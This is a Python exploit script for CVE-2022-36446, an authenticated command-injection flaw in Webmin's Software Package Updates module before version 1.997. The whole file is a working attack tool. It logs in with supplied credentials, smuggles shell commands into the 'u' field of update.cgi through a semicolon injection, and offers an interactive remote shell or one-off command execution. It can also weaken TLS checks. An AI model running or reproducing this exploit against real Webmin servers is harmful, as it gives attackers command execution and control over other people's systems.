#!/usr/bin/env python3 # -*- coding: utf-8 -*- # File name : CVE-2022-36446.py # Author : Podalirius (@podalirius_) # Date created : 11 Aug 2022 import argparse import binascii import html import requests import os from bs4 import BeautifulSoup VERSION = "1.1" def parseArgs(): print("CVE-2022-36446 - Webmin < 1.997 - Software Package Updates RCE (Authenticated) v%s - by Remi GASCOU (Podalirius)\n" % VERSION) parser = argparse.ArgumentParser(description="CVE-2022-36446 - Webmin < 1.997 - Software Package Updates RCE (Authenticated)") parser.add_argument("-t", "--target", default=None, required=True, help="URL to the webmin instance") parser.add_argument("-k", "--insecure", default=False, action="store_true", help="") parser.add_argument("-u", "--username", default=None, required=True, help="Username to connect to the webmin.") parser.add_argument("-p", "--password", default=None, required=True, help="Password to connect to the webmin.") mode = parser.add_mutually_exclusive_group(required=True) mode.add_argument("-I", "--interactive", default=False, action="store_true", help="Interactive console mode.") mode.add_argument("-C", "--command", default=None, help="Only execute the specified command.") parser.add_argument("-v", "--verbose", default=False, action="store_true", help="Verbose mode. (default: False)") return parser.parse_args() def webmin_login(username, password, target, verify=True): session = requests.Session() try: r = session.post( target + "/session_login.cgi", verify=verify, data={ "user": username, "pass": password }, cookies={ "testing": "1" } ) r = session.post( target + "/sysinfo.cgi", verify=verify, ) except Exception as e: print("[error] %s" % e) return None soup = BeautifulSoup(r.content, 'lxml') html_tag = soup.find('html') if "data-user" in html_tag.attrs.keys(): print("[+] Successful login as '%s' to webmin." % html_tag["data-user"]) return session else: return None def can_access_software_updates(session, target): r = session.get(target + "/package-updates") soup = BeautifulSoup(r.content, 'lxml') html_tag = soup.find('html') if "data-module" in html_tag.attrs.keys(): return True else: return False def CVE_2022_36446_exec(session, target, cmd): random_tag = binascii.hexlify(os.urandom(16)).decode('utf-8') random_tag_h, random_tag_l = random_tag[:16], random_tag[16:] session.headers.update({ "Referer": "%s/package-updates/update.cgi?xnavigation=1" % target }) r = session.post( target + "/package-updates/update.cgi", data={ "mode": "new", "search": "ssh", "redir": "", "redirdesc": "", "u": "0;echo '%s''%s'; %s; echo '%s''%s'" % (random_tag_h, random_tag_l, cmd, random_tag_h, random_tag_l), "confirm": "Install+Now" } ) # Getting command output splited_tags = r.content.decode('utf-8').split(random_tag) result = "" if len(splited_tags) >= 3: result = splited_tags[1].strip() result = html.unescape(result) return result if __name__ == '__main__': options = parseArgs() options.target = options.target.rstrip("/") if not options.target.startswith("http://") and not options.target.startswith("https://"): options.target = "https://" + options.target if options.insecure: # Disable warnings of insecure connection for invalid certificates requests.packages.urllib3.disable_warnings() # Allow use of deprecated and weak cipher methods requests.packages.urllib3.util.ssl_.DEFAULT_CIPHERS += ":HIGH:!DH:!aNULL" try: requests.packages.urllib3.contrib.pyopenssl.util.ssl_.DEFAULT_CIPHERS += ":HIGH:!DH:!aNULL" except AttributeError: pass session = webmin_login( username=options.username, password=options.password, target=options.target, verify=not(options.insecure) ) if session is not None: if can_access_software_updates(session, options.target): print("[+] User can access Software updates") if options.interactive: # Interactive console while options.interactive: cmd = input("$ ") if cmd.strip() != "exit": result = CVE_2022_36446_exec( session=session, target=options.target, cmd=cmd ) print(result) else: options.interactive = False else: # Single command if options.command is not None: result = CVE_2022_36446_exec( session=session, target=options.target, cmd=options.command ) print(result) else: print("[!] Could not login to webmin.")